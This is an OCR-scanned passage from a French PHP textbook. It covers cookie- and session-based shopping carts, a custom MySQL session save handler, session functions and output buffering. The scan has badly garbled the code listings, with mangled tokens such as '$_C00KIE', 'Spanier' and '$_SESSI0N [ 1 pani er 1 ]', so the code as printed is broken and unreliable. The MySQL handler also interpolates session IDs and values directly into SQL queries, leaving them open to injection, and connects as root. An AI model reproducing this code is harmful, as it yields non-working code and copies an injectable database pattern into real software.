<tdx?php echo $panier["batterie"]?> batterie(s)</td> 
</tr> 
</tabl e> 

<p al ign="center"> 

<a href =" i ni ti al isation.php">vider mon panier</a> 
</P> 

<p al ign="center"> 
<a href="calcul_total .php">calculer le total</a> 

</P> 
</body> 
</html> 
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Figure 4.4 : 

Interface principale 



Apres avoir recupere la valeur du tableau contenue dans les cookies, une comparaison est 
effectuee entre la valeur de la variable $a j out et les differentes chaines de caracteres possibles. 
Ensuite, la valeur est incrementee puis stockee a nouveau dans le cookie correspondant. 
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Cette page fait des appels a elle-meme, ce qui permet d'ajouter constamment des articles. Un 
lien vers initialisation.php est disponible, qui a pour effet de remettre a zero le contenu du 
panier. Un autre lien vers le calcul du montant du panier est disponible. 

Comme cela a deja ete signale, la nouvelle valeur d'un cookie n'est disponible qu'apres avoir 
recharge la page ou change de page. Pour afficher dans ce script le nombre exact d'articles 
contenus dans le panier, on ne peut faire appel a la valeur courante du cookie (par $_cookie) ; 
c'est done le contenu de la variable du tableau $panier qui a ete utilise (apres avoir ete 
increments puis stocke). 

calcul_total.php 

Listing 4.4 : calcul total.php 

<?php 

Spanier = $_C00KIE["panier"] ; 
$total = 0; 

$total += $panier["guitare"]*199; 
$total += $panier["basse"]*199; 
$total += $panier["batterie"]*2499; 

?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcolor="#FFFFFF"> 

<p al ign="center">Le total de votre panier: 

<?php echo $total?> Euros. </p> 
<p al ign="center"> 

<a href="ajout_article.php">Modifier mon panier</a> 
</P> 

<p al ign="center"> 

<a href=" initial i sati on . php">Vi der mon panier</a> 

</P> 
</body> 
</html> 

Ce script tres simple reprend les valeurs stockees dans le panier pour calculer le montant total 
de celui-ci. 

Deux liens sont disponibles : l'un vers l'initialisation (remise a zero) des variables, l'autre vers 
l'interface principale. 




Fichier Edition Affichage Favoris Outils ? 



Figure 4.5 : 

Montant total 



^ Precedence " Q \^ (/^ JD Rechercher 



Adresse -gj http;//localhost/cookies/calcul_total.php « Liens " 



Le total de votre pamer; 3295 Euros. 



■: . . . 



@ Terrnine 



*3i Intranet local 



.4. 



Sessions 



Les sessions proposees dans PHP depuis la version 4 permettent, comme les cookies, de stocker 
des informations specifiques a l'utilisateur. 

Mais, alors que les cookies permettent de stocker des informations (en petite quantite) sur le 
poste du client pour une periode pouvant aller de quelques secondes a plusieurs semaines, les 
sessions permettent de stocker autant d'informations que necessaire. Pour cela, le serveur 
assigne au client un identifiant unique (appele identifiant de session) lie a une instance de 
navigateur sur une machine (adresse IP) donnee. Du fait que le client peut a tout moment 
arreter et relancer son navigateur ou changer d'lP (apres s'etre deconnecte du reseau Internet), 
la duree de vie de la session n'excede quasiment jamais une journee. Les sessions ne sont done 
utilisees que pour conserver en memoire des informations tout au long de la visite du client 
(mais pas plus longtemps). Par consequent, il est meme conseille de mettre un terme a la 
session apres une periode donnee d'inactivite (de l'ordre de 20 mn, temps au-dela duquel on 
peut considerer que le visiteur a definitivement quitte le site) afin de liberer les ressources. 
Vous avez certainement rencontre ce genre de situation ou Ton vous demande de vous 
identifier a nouveau. 

En contrepartie, avec les sessions, vous pouvez etre sur que votre site fonctionnera quels que 
soient le navigateur et l'attitude du visiteur (rappelons qu'un visiteur peut refuser un cookie). 
L' autre difference principale reside dans le fait que les sessions sont stockees sur le serveur ; le 
controle des sessions est done gere a 100 % par l'auteur des scripts (il ne peut y avoir de 
modification ou de suppression par le visiteur). 

Comme cela a deja ete dit, a chaque utilisateur est attribue un identifiant de session. Afin de 
garder la trace de ce dernier, l'identifiant est transmis de page en page. Cela peut se faire de 
deux fagons : 

Par le navigateur qui, a chaque appel au serveur, communiquera le cookie contenant 
l'identifiant de session que le serveur lui aura prealablement demande de creer. 

Par le serveur qui, pour chaque page generee, completera les URL relatives des liens (done 
celles qui pointent vers le serveur lui-meme, mais pas les liens vers un site tiers) avec un 
parametre indiquant l'identifiant de session (e'est ce que Ton appelle 1"'URL rewriting" ou 
la reecriture d'URL). 
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La premiere solution est la plus simple pour le serveur, mais elle ne peut etre utilisee si le client 
refuse les cookies ; il faut alors se rabattre sur la seconde. Comme nous le verrons un peu plus 
loin, ceci peut se faire tant manuellement qu'automatiquement. 

Pour chaque page necessitant l'utilisation de variables de sessions, il faudra appeler la fonction 
session_start ( ) afin de permettre au serveur de determiner si un identifiant de session a 
deja ete assigne au visiteur. Si c'est le cas, il lui suffit de le recuperer soit dans le cookie soit 
depuis FURL, tout comme les valeurs des differentes variables ; sinon, il doit le creer, et le 
serveur doit demander la generation d'un cookie. Si celle-ci echoue, il optera alors pour la 
reecriture d'URL. 



session_start() 

Reclame l'utilisation de variables de sessions au cours du script. 

^ Syntaxe boolean session_start() 

retour TRUE 

<S 

session _start() etcookieQ : ami-ami 

II va de soi que si I'identifiant de session doit etre stocke dans un cookie, alors les 
contraintes d'utilisation de session_start ( ) sont les memes que celles de 
cookie (). Ainsi, session_start ( ) ne peut plus etre appele une fois le debut du 
document emis (i.e. une fois Ven-tete HTP envoye). 
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REMARQUE 



II sera possible de se passer de l'appel a session_start ( ) si PHP est configure de telle sorte 
que le parametre session. auto_start dephp.ini soit active (i.e. mis a 1). 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



A la maniere des cookies, les variables de sessions sont disponibles directement dans le tableau 
$_session. Pour acceder a une valeur donnee, il suffit done d'appeler quelque chose comme 

$_SESSION[ "maVariable" ] (OU $HTTP_SESSION_VARS [ "ma Variable 11 ] pour les versions de 

PHP inferieures a 4.1). 



ADu passe faisons table rase 
Dans les versions de PHP anterieures a 4.2.0, la configuration par defaut fixait le 
ATTENTION parametre register _globals du fichier php.ini a on (active). Pour des raisons de 
securite (evoquees dans le chapitre traitant des variables externes) cela n'est plus le 
cas. 
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AAvec ['option register _globals activee, le contenu de la variable de session etait 
directement disponible dans une variable portant le nom de la variable de session 
ATTENTION ( $nomVariableSession). 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



RENVOI 

Voici un exemple d'utilisation. II s'agit tout simplement d'un compteur qui est incremente a 
chaque appel de la page (si la variable de session n'existe pas, c'est qu'il s'agit d'une nouvelle 
session et le compteur est initialise a la valeur 0). 

<?php 

session_start() ; 

if (!isset($_SESSION[ , maVariable'])) { 
$_SESSION['maVariable'] = 0; 

} 

else { 

$_SESSI0N [ 1 maVari abl e 1 ] ++; 

} 

echo $_SESSION['maVariable'] ; 

?> 



Pour gerer les sessions de facon optimale, il est possible de configurer PHP a l'aide des 
nombreuses options offertes par le fichier de configuration. 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Ces options peuvent etre visualisees par un simple appel a phpinf o ( ) . 

Figure 4.6 : 

phpinfo() 
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Jusqu'a la version 4.1.1 (comprise), l'utilisation de la reecriture (automatique) d'URL ne 
pouvait se faire que si PHP avait ete compile avec l'option — enable-trans-sid. II fallait en 
outre l'activer ou la desactiver avec l'option session. use-trans-sid, introduite dans la 
version 4.0.3 (a positionner a 1 pour l'activer, sinon). 

Depuis la version 4.2.0, l'utilisation de la reecriture (automatique) d'URL ne necessite plus 
l'utilisation de directives de compilation. L'activation de ce precede ne depend plus que de 

l'option session. use-trans-sid (qui est, par defaut, activee). 

La liste des balises HTML controlees est definie dans le parametre url_rewriter . tags et, 
outre le fait que if rame n'apparaisse pas dans la liste, il faut garder a 1'esprit que tous les liens 
crees par des fonctions Javascript (par exemple) ne profiteront pas de cette manipulation. II 
faudra done necessairement ajouter manuellement l'identifiant de session a l'URL (si Ton 
souhaite que cela fonctionne avec les navigateurs refusant les cookies) pour ces liens. 



Exemple utilisant des sessions 
Mise en situation 

Reprenons le meme exemple que pour les cookies, e'est-a-dire celui d'un magasin de musique 
vendant trois instruments et proposant un panier virtuel aux visiteurs de son site Internet. 

Contenu des fichiers 
accueil.html 

Listing 4.5 : accueil.html 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcol or="#FFFFFF"> 
<p al ign="center"xb>Bienvenu chez MusicAGogo! ! !</bx/p> 
<p al ign="center">Votre panier est vide</p> 
<p al ign="center"> 
<a href="ini tial i sation .php">cl i quer ici pour le remplir </a> 

</P> 
</body> 
</html> 

Le script d'accueil est une simple page au format HTML, avec un lien vers le script 
d'initialisation des sessions. 



initialisation.php 



Listing 4.6 : initialisation.php 

<?php 

session_start() ; 

$_SESSI0N [ 1 pani er 1 ] = array("guitare"=>0, 

"basse"=>0, 

"batterie"=>0) ; 
header("Location: ajout_article.php") ; 

?> 

Une fois la session existante rappelee ou creee, le tableau panier est initialise et stocke dans la 
session ; le navigateur du client est ensuite redirige vers la page d'ajout d'elements au panier. 

Ce script fonctionnera tel quel a condition que l'utilisateur accepte les cookies. 

Si ce n'est pas le cas, il fonctionnera egalement si la reecriture (automatique) d'URL est activee 
(sachant que ce script ne contient que des URL relatives). Vous constaterez alors que les URL 
(qui s'affichent dans la barre du navigateur) ont ete completees pour ajouter un identifiant de 
session. 

Dans les autres cas, si vous souhaitez que votre script fonctionne meme si le visiteur refuse les 
cookies, il faut ajouter a l'URL la chaine de caracteres stockee dans la constante sid (pour 
realiser manuellement ce que l'option session. use_trans_sia = l permet). Ce qui donne : 

header ("Location: ajout_arti cl e.php?" .SID) ; 

La constante sid est composee de la concatenation du nom de l'identifiant de session 
(disponible via la fonction session_name ( ) et qui par defaut vaut "phpsessid"), d'un signe 
egal et de la valeur de l'identifiant de session (disponible via la fonction session_id ( ) ). Ainsi, 

SID vaut session_name ( ) . " = " . session_id ( ) . 

a) out_article.php 

Listing 4.7 : ajoutarticle.php 

<?php 

session_start() ; 
$panier=$_SESSION[' panier 1 ] ; 
switch (@$_GET["ajout"]) { 
case "guitare": 

Span ier["gui tare"] ++; 
break; 
case "basse": 

$panier["basse"]++; 
break; 
case "batterie": 

$panier["batterie"]++; 
break; 

} 

$_SESSION['panier'] = 
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array ("gui tare" => $panier["guitare"] , 
"basse" => $panier["basse"] , 
"batterie"=> $panier["batterie"] ) ; 

?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcol or="#FFFFFF"> 

<table border="4" eel 1 spaci ng="4" 

eel 1 padding="4" al ign="center"> 
<tr al ign="center"> 
<td>Ajouter</td> 
<td>Votre commande</td> 
</tr> 

<tr al ign="center"> 

<tdxa href="ajout_articl e.php?ajout=gui tare"> 

Une guitare</a> (199E) 
</td> 

<tdx?php echo $panier["guitare"]?> guitare(s)</td> 
</tr> 

<tr al ign="center"> 

<tdxa href="ajout_articl e.php?ajout=basse"> 

Une basse</a> (199E) 
</td> 

<tdx?php echo $panier["basse"] ?> basse(s)</td> 
</tr> 

<tr al ign="center"> 

<tdxa href="ajout_arti cl e.php?ajout=batterie"> 

Une batterie</a> (2499E) 
</td> 

<tdx?php echo $panier["batterie"]?> batterie(s)</td> 
</tr> 
</tabl e> 

<p al ign="center"xa href="initialisation.php"> 

vider mon panier</ax/p> 
<p al ign="center"xa href="calcul_total .php"> 

calculer le total</ax/p> 

</body> 
</html> 

Une fois la session rappelee, la variable $panier est recuperee, puis $ajout est testee afin 
d'incrementer la bonne valeur. Une fois ce test effectue, la session est mise a jour avec les 
nouvelles valeurs. 

La encore, si votre serveur n'est pas configure pour realiser automatiquement la reecriture 
d'URL, vous devez completer les URL avec la constante sid si vous voulez qu'il fonctionne 
egalement pour les clients refusant les cookies. 
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calcul_total.php 

Listing 4.8 : calcul total.php 

<?php 

session_start() ; 

$panier = $_SESSION["panier"] ; 

$total = 0; 

$total += $panier["guitare"]*199; 
$total += $panier["basse"]*199; 
$total += $panier["batterie"]*2499; 

?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcol or="#FFFFFF"> 
<p al ign="center"> 

Le total de votre panier: <?php echo $total?> Euros. 

</P> 

<p al ign="center"> 

<a href="ajout_article.php">Modifier mon panier</a> 

</P> 

<p al ign="center"> 

<a href="initialisation.php">Vider mon panier</a> 

</P> 
</body> 
</html> 

Ce script est plus simple a comprendre que le precedent. La session est recuperee puis la 
variable $panier en est extraite. Bien entendu, si besoin est, il faut prendre soin, la encore, de 
passer l'identifiant de session en parametre. 



Stockage personnalise des variables de sessions 

Par defaut les variables de sessions sont stockees dans des fichiers temporaires (comme 
l'indique le parametre session . save_handler du fichier php.ini fixe a la valeur "files"). En 
modifiant ce parametre a user, il est possible de redefinir soi-meme la fagon dont seront gerees 
les sessions. 



RENVOI 



, Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



II est, par exemple, possible de stocker les parametres dans une base de donnees (l'exemple que 
nous donnerons ici utilisera une base de donnees MySQL). 
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Vous pouvez vous reporter au chapitre "L'utilisation des bases de donnees" pour en 
savoir plus sur l'utilisation de MySQL avec PHP. 



RENVOI 

Pour cela, nous creerons une table avec trois champs : l'identifiant de session, la date 
d'expiration, et la valeur des variables de sessions. Notez bien que les variables de sessions 
seront automatiquement serialisees et deserialisees (autrement dit, toutes les valeurs seront 
regroupees en une chaine de caracteres et inversement. Voir plus loin les fonctions 

session_encode() et session .decode ( ) ) par PHP). 

Voici la syntaxe SQL pour la table sessions. 

CREATE TABLE sessions ( 

idsession CHAR(32) NOT NULL, 
expiration INT(ll) NOT NULL, 
valeur TEXT NOT NULL, 
PRIMARY KEY (idsession) 

); 

Pour gerer les sessions, PHP appelle six fonctions. Pour personnaliser l'utilisation des sessions, 
il faut done creer six fonctions auxquelles PHP fournira les parametres, et indiquer a PHP 
d'utiliser ces fonctions en lieu et place des fonctions par defaut. 

boolean ouvrirSession($cheminSession, $nomSession) 

Cette fonction permet d'initialiser la gestion de sessions. En parametre, Ton trouve le chemin 
(dans le cas d'une gestion par fichiers) ou stocker les sessions. II s'agit en fait du parametre 
session. save_path du fichier php.ini qui peut contenir n'importe quelle information sans 
que ce soit necessairement un chemin. $nomSession est le nom de la session tel qu'il est defini 
dans le fichier de configuration de PHP sous le nom session. name (par defaut, e'est 
phpsessid). 

Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple, cette fonction servira a etablir la connexion avec la base de donnees. 
boolean fermerSession() 

Cette fonction permet de liberer d'eventuelles ressources occupees pour la gestion des sessions. 
Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple utilisant une connexion persistante, rien n'aura besoin d'etre fait dans 
cette fonction. Sinon, nous aurions pu envisager de clore la connexion. 

boolean ecrireSession($idSession, $valeur) 

C'est a cette fonction que Ton va indiquer comment stocker les variables de sessions. 
$idSession est l'identifiant de session, qui servira a stocker la session (il pourra servir a definir 
le nom du fichier, qui sera done unique, ou une entree en base de donnees...). Svaieur est la 
valeur a stocker dans la session ; elle est fournie serialisee. 

Elle devra retourner true en cas de succes, false sinon. 
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Dans notre exemple, c'est ici qu'il faut faire l'insertion en base de donnees en faisant attention 
de creer une nouvelle entree s'il n'existe pas d'entree pour cet identifiant, ou de modifier 
l'entree existante. 

mixed lireSession($idSession) 

La fonction de lecture a pour parametre un identifiant de session. II faut retourner la valeur 
(serialisee) sauvegardee, ou false en cas d'erreur. 

Dans l'exemple, il suffira de faire une recherche dans la table de la valeur correspondant a la 
l'identifiant de session fourni. 

boolean detrui reSession($idSession) 

Cette fonction detruit la session dont l'identifiant est passe en parametre. 
Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple, il suffira de supprimer l'entree correspondant a l'identifiant passe en 
parametre. 

i— 

boolean nettoyerSession($dureeVie) So 

CD 

C'est la fonction qui sera appelee aleatoirement pour nettoyer les sessions invalides. La duree 
de vie, definie dans le fichier de configuration par le parametre session. gc_maxi if etime, est 
passee en parametre. 

Elle devra retourner true en cas de succes, false sinon. 

Dans notre exemple, il suffira de supprimer toutes les entrees dont la date d'expiration est 
passee. 

Enfin, pour indiquer a PHP d'utiliser les fonctions ainsi definies, vous devrez faire appel a la 
fonction session_set_save_handler ( ) . 
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session_set_save_handler () 



Indique a PHP d'utiliser des fonctions personnalisees pour la gestion des sessions. 

Syntaxe void sessi on_set_save_handl er (functi on $ouvri rSession, 

function $fermerSession, function $1 ireSession, function 
$ecrireSession, function $detrui reSession, function 
$nettoyerSession) 



$ouvri rSessi on 
$fermerSession 
$1 ireSession 
$ecri reSession 
$detruireSession 
SnettoyerSession 



Nom de la fonction a appeler a l'ouverture de la session (cf. ci-avant). 
Nom de la fonction a appeler a la fermeture de la session (cf. ci-avant). 
Nom de la fonction a appeler a la lecture du contenu d'une session. 
Nom de la fonction a appeler a la sauvegarde du contenu d'une session. 
Nom de la fonction a appeler a la destruction du contenu d'une session. 
Nom de la fonction a appeler pour detruire les sessions perimees. 
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session_mysql.php 

Listing 4.9 : session mysql.php 

<?php 

define("HOTE", "localhost") ; 
define("UTILISATEUR", "root") ; 
define("MOT_DE_PASSE", "MotDePasse") ; 
def i ne("BASE_DE_DONNEES" , "biblephp") ; 

def i ne("DUREE_VIE_SESSION" , get_cfg_var("session.gc_maxl ifetime")) ; 
$connexionSession = ""; 

function ouvrirSession($cheminSession, $nomSession) 

{ 

global $connexionSession; 

$connexionSession = mysql_pconnect(HOTE, UTILISATEUR, MOT_DE_PASSE) 
or die("Impossible de se connecter a la base de donnees"); 

mysql_sel ect_db(BASE_DE_DONNEES, $connexionSession) 
or die("Base de donnees introuvable") ; 
return TRUE; 



function fermerSession() 

{ 

return TRUE; 

} 

function ecrireSession($idSession, $valeur) 

{ 

global $connexionSession; 

if (mysql_query("INSERT INTO sessions VALUES 
C$idSession' , 

". (time()+DUREE_VIE_SESSION) . ", 
'$valeur')", $connexionSession) ) { 

return TRUE; 
} else { 

return mysql_query ("UPDATE sessions SET expiration = 

".(time()+DUREE_VIE_SESSION).", valeur = '$valeur' 
WHERE idSession = 1 $i dSessi on 1 ", $connexionSession) ; 




function 1 ireSessi on ($ idSession) 
{ 

global $connexionSession; 

$requete = mysql_query ("SELECT valeur FROM sessions 
WHERE idsession='$idSession' 
AND expiration > " . time(), 



Sessions 



$connexionSession) ; 
if (1 i st ($val eur) = mysql_fetch_row($requete) ] 

return $valeur; 
} else { 

return FALSE; 



} 



function detruireSession($idSession) 

{ 

global $connexionSession; 

return mysql_query("DELETE FROM sessions 

WHERE i dsession= 1 $idSession 1 " , 

SconnexionSession) ; 

} 

function nettoyerSession($dureeVie) 

{ * 

global SconnexionSession; i- 

return mysql_query("DELETE FROM sessions S> 
WHERE expiration < " . time(), £| 
SconnexionSession); ~ 

} CD 



CO 



session_set_save_handl er("ouvri rSession" , 

"fermerSession" , 
"1 i reSession" , 
"ecrireSession", 
"detruireSession", 
"nettoyerSession") : 

?> 



Adapter le script a votre environnement 

^ Les quatre constantes hote, utilisateur, mot_de_passe et base_de_donnees 
RE MAR HUE doivent etre renseignees selon votre configuration. 

Compte tenu des remarques precedentes, il n'est pas difficile d'ecrire soi-meme ce type de 
script. 

La duree de vie d'une session est recuperee depuis le fichier de configuration grace a la fonction 
get_cf g_var ( ) . Cette valeur nous servira a determiner la date d'expiration des sessions. 

testphp 

Ceci est un fichier permettant de tester la gestion des sessions telle qu'on vient de la definir. 
Listing 4.10 : test.php 

<?php 

include("session_mysql .php") ; 
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session_start() ; 



if (!isset($_GET["valeur"])) { 
$_GET["valeur"] = 0; 

} 

if ( (!isset($_GET["action"])) 

| | (!isset($_SESSION["variableSession"]))) { 
$_GET["action"] = "initialiser"; 

} 

switch($_GET["action"]) { 
case "detruire": 

session_destroy () ; 

break; 
case "gc": 

nettoyerSession (get_cfg_var("session.gc_maxl i fetime") ) ; 

break; 
case "i ncrementer" : 

$_SESSION["variableSession"]++; 

break; 
case "initialiser": 

$_SESSION["variableSession"] = 0; 

break; 

} 

?> 

<html> 

<headxti tl e>Test</ti tl ex/head> 
<body> 
<P> 

Valeur courante:<?php echo $_SESSION["variableSession"]?> 

<br /> 

<a href =" test .php?action=i ncrementer "> 

Incrementer la variable de session</a> 
<a href="test.php?action=detruire">Destruction de la session</a> 
<a href="test.php?action=gc">Forcer le gc</a> 

</P> 
</body> 



Ce script tres simple se contente d'afficher la valeur d'une variable de session, et de proposer 
trois liens : un pour I'incrementer, un pour detruire la session et un pour forcer l'appel au 
garbage collector charge de supprimer les sessions perimees. 



3 Test - Microsoft Internet ExpLort 



Fichier Edition Affichage Favoris Outils 



Q| Precedente - '^Jj Q J^j J/J) J^) Rechercher 



Adresse \ ht tp://192.168, 8,l/sessionhandling/test,php?actiQn=incrementer^| S3 OK Liens 



Valeur courante:4 



Figure 4.7 : 

Interface de test 
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Clore une session 

II n'est generalement pas possible de determiner quand mettre fin a une session. En effet, pour 
cela, il faudrait savoir quand le visiteur a quitte le site. C'est pourquoi il faut generalement 
attendre la fin du delai d'expiration pour voir les sessions disparaitre. Toutefois, si vous 
proposez sur votre site un lien Deconnexion, il vous sera possible de f aire proprement appel a la 
fonction session_destroy ( ) (Ce qui evitera en plus qu'un autre utilisateur partageant le 
meme poste de travail puisse acceder au compte du precedent). 



session_destroy() 

Detruit les variables de la session en cours. 

Syntaxe boolean session_destroy(void) 

retour TRUE en cas de succes, FALSE sinon. 

II est souhaitable de vider au prealable le contenu des variables de sessions. Ainsi le script de 
deconnexion pourra ressembler a : 

<? php 

session_start() ; 

$_SESSI0N = array (); 

session_destroy() ; 

echo "Au revoir, et a bientot"; 

?> 



Les autres fonctions 

Comme cela a ete precise, les variables composant une session sont serialisees avant d'etre 
stockees (par defaut, dans un fichier), et deserialisees apres avoir ete recuperees. Pour realiser 
manuellement cette operation, vous devez faire appel aux fonctions session_code ( ) et 
session_decode ( ) . 



session_encode() 

Serialise la session (convertit l'ensemble des variables de sessions en une chaine de caracteres 
unique). 

Syntaxe string session_encode(void) 

retour Chaine encodee avec le contenu de la session. 
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session_decode() 

Deserialise une chaine de caracteres contenant des variables de sessions (recreant ainsi 
1'ensemble des variables de la session). 

Syntaxe boolean session_decode (string $variable) 

$vari abl e Chaine de caracteres a deserialiser. 

retour TRUE en cas de succes, FALSE sinon. 

D'autres fonctions, moins souvent utilisees, sont disponibles pour la gestion des sessions. II est 
par exemple possible de remplacer l'utilisation des parametres habituellement definis dans le 
fichier php.ini par des parametres fixes par le script. 



session_module_name () 

Permet de definir ou de connaitre le gestionnaire de sessions utilise (habituellement defini par 
le parametre session. save_handler de php.ini). 

Syntaxe string session_module_name([string $gesti onnai re] ) 

$gestionnaire Indiquer (cf. session_set_save_handler ( ) ) : 

" f i 1 e s " si les donnees de session doivent etre stockees "simplement" dans 
des fichiers temporaires. 

user si elles doivent etre stockees en utilisant les fonctions 
personnalisees. 

retour Le gestionnaire de sessions utilise a savoir files" ou "user". 



session_save_path () 

Permet de definir ou de connaitre ['emplacement ou seront sauvees les sessions 
(habituellement defini par le parametre session, savejath de php.ini). 



Syntaxe string session_save_path([string $chemin]) 

$chemi n Chemin que Ton souhaite definir en tant que repertoire pour stocker les 

sessions. 

retour Nom du repertoire ou sont stockes les fichiers temporaires de session. 



Sessions 



session_name() 

Permet de definir ou de connaitre le nom du parametre de l'URL contenant l'identifiant de 
session (habituellement defini par le parametre s ess ion. name de php.ini). 

Syntaxe string session_name([string $nomIdSessi on] ) 

$nomIdSessi on Nouveau nom du parametre d'identifiant de session, 
retour Nom de l'identifiant de session (par defaut PHPSESSID). 



session_id() 



Permet de definir ou de connaitre l'identifiant de session attribue au visiteur. 

Syntaxe string session_id([string $idSession] ) *• 

$idSession Nouvel identifiant de session a utiliser. ™ 

retour Identifiant de session utilise. = 

CD> 

CD 

V) 

session_regenerate_id () 

Permet de regenerer un nouvel identifiant pour une meme session. Cette fonction a ete 
introduite avec PHP 4.3.2. 

Syntaxe: boolean session_regenerate_id(void) 

retour TRUE si un nouvel identifiant a ete regenere, FALSE sinon. 

II est egalement possible de connaitre ou de fixer les parametres du cookie charge de 
sauvegarder l'identifiant de session sur la machine du visiteur (sans tenir compte des 
parametres definis dans le fichier php.ini). 



session_get_cookie_params () 

Permet de recuperer les informations du cookie de session. 
Syntaxe array session_get_cookie_params(void) 

retour Tableau associatif contenant les informations du cookie. On y retrouve : 

"lifetime", la duree de vie du cookie. 

"path" le chemin ou est stocke le cookie. 

"domain" le domaine sur lequel le cookie est valable. 

"secure" un booleen indiquant si le cookie ne doit etre envoye que par 

une connexion securisee. 
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session_set_cookie_params () 

Permet de definir les parametres du cookie de session. 

Syntaxe void session_set_cookie_params(int $dureeVie [, string $chemin 

[, string $domaine]]) 

$dureeVie Nouvelle duree de vie en secondes (habituellement definie par le 

parametre session . cookie_lif etime du fichierphp.ini). 

$chemi n Chemin ou le cookie est valide (habituellement defini par le parametre 

session . cookie_path du fichier php.ini). 

$domaine Domaine de validite du cookie (habituellement defini par le parametre 

session . cookie_domain du fichier php.ini). 

Les pages utilisant des variables de sessions presentent generalement un aspect different d'un 
appel a l'autre, sans que leur URL ne soit modifiee. Pour que le visiteur puisse profiter des 
modifications apportees a la page, il faut absolument interdire 1'utilisation du cache par le 
navigateur. C'est pour cela que, par defaut, les pages faisant appel aux sessions demandent 
egalement l'interdiction de la mise en cache. Mais ces parametres peuvent etre modifies avec la 
fonction suivante : 



session_cache_limiter () 

Permet de definir ou de connaitre la restriction du cache appliquee (habituellement definie par 
le parametre session. cache_limiter de php.ini). 

Syntaxe string session_cache_l imi ter( [stri ng $restriction_cache] ) 

$restriction_cache Ce parametre peut prendre les valeurs : 

"nocache" si Ton souhaite que le client ne mette pas la page dans le cache, 
"public" (ou "private" qui est legerement plus restrictif) pour 
autoriser la mise en cache. 

"pr ivate_no_expire" (depuis la version PHP 4.2.0) permet de ne pas 
envoyer l'en-tete Expire qui causait des problemes avec la restriction du 
cache. 

retour Retourne la restriction du cache en cours. 



session_cache_expire () 

Permet de definir ou de connaitre la duree avant expiration du cache (habituellement definie 
par le parametre session. cache_expire de php.ini). Cette fonction a ete introduite a partir 
de la version 4.2.0. 



Mise en cache avant emission des donnees 



Syntaxe int sessi on_cache_expi re( [i nt $expi rati onCache] ) 

$expi rati onCache Nouvelle valeur (en secondes) d'expiration du cache, 
retour Retourne la valeur actuelle d'expiration du cache. 

Vous disposez aussi de : 



session_write_close () 

Termine la session et enregistre les variables de sessions, ce qui est automatiquement fait a la 
fin des scripts. Attention, dans ce cas, aucune reecriture d'URL ne sera effectuee. 

Syntaxe void session_write_close(void) 



Les fonctions historiques 

Les fonctions suivantes ne doivent plus etre utilisees (pas avec le tableau $_session, ni meme 
d'ailleurs avec $http_session_vars) : 

session_register ( ) permettait de definir une variable globale comme etant une variable de 
session. Ainsi, register ( "mavariabie" ) ; faisait de $mavariable une variable de session. 
Avec l'utilisation de $_session [ "mavariabie" ] , aucun doute n'est possible. 

session_unregister ( ) mettait simplement un terme a l'association entre la variable et une 
variable de session. Avec $„session, il n'y a evidemment pas besoin d'equivalent. 

session_is_registered( ) permettait de tester si une variable etait une variable de session. 
La encore, avec $_session, il n'y a pas besoin d'equivalent. 

session_unset ( ) permettait de liberer le contenu des variables de sessions. Avec $_session, 
il suffit de faire $_session = array (). 



4.5. Mise en cache avant emission des donnees 
Les fonctions de base 

Une serie de fonctions de controle de sortie permet de gerer soi-meme remission des donnees. 

Habituellement, le fait de generer le document (avec les commandes echo ou print par 
exemple), et done d'envoyer l'en-tete HTTP avant de faire appel a une fonction modifiant 
l'en-tete, aboutit inexorablement au message d'erreur suivant : "Cannot add header information 
- headers already sent". II est possible d'eviter ceci en demandant de ne pas envoyer les elements 
du document au moment ou ils sont generes, mais de le faire une fois tous les elements de 
l'en-tete definis. 

Pour cela, nous disposons des fonctions ob_start ( ) et ob_end_f lush ( ) . 
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ob_start() 

Demande la mise en cache de ce qui va sur la sortie standard (ce qui est destine au client). 
Syntaxe void ob_start( [function $fonction]) 

$fonction Fonction a appliquer sur le contenu du cache (cf. compression des 

donnees). 



ob_end_flush() 

Met fin a la mise en memoire de la sortie et emet le contenu du cache vers le navigateur. 
Syntaxe void ob_end_f lush (void) 

Ainsi, l'exemple suivant ne generera pas d'erreur malgre l'appel a setcookie ( ) apres un 
echo. 

<?php 

ob_start() ; 

echo "J'envoie du texte sur la sortie avant de definir un cookie"; 
setCookie("cookie", "je defini un cookie apres avoir ecrit du texte"); 
ob_end_f 1 ush () ; 

?> 

Le fichier de configuration de PHP permet d'activer systematiquement le systeme de cache, 
grace au parametre output_buf f ering. Cela revient alors a placer ob_start ( ) au debut de 
chaque script, et ob_end_f lush ( ) , qui a pour effet d'afficher le contenu du cache a la fin. 

Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 

Ne pas ceder a la facilite 

Meme si {'utilisation du systeme de cache permet de melanger allegrement generation 
du document et generation de I'en-tete HTTP, il est fortement conseille (pour des 
raisons de performance) de se passer de {'utilisation de ces fonctions (dans ce 
cadre-la). D'autant qu'il est generalement facile de s'affranchir de la difficulte que 
cela pourrait engendrer. II est de toute facon de bon usage de commencer un script 
par toutes les operations de traitement avant les operations de mise en page. 




Mise en cache avant emission des donnees 



Compression des donnees 

La plupart des navigateurs, dont Internet Explorer et Netscape, permettent la decompression 
transparente des donnees (les types de compression supportes sont precises dans la variable 
externe $_server [ " http_accept_encoding 11 ] ). Si le serveur detecte que le navigateur du 
client supporte la compression Gzip (par exemple), il peut decider d'envoyer des donnees 
compressees a celui-ci, qui les decompressera avant de les afficher. Cette procedure sera 
totalement transparente pour l'utilisateur qui ne verra qu'un gain en terme de temps de 
telechargement des pages. 

Bien entendu, cette procedure demandera un petit peu plus de travail au serveur, mais si 
celui-ci est suffisamment puissant, son utilisation est avantageuse question rapidite. 

Pour cela, il suffit de specifier le parametre "fonction de compression" de la fonction 
ob_start(). Cette fonction qui peut etre une fonction personnalisee doit accepter un 
parametre de type chaine de caracteres, et simplement en retourner la version compressee. 

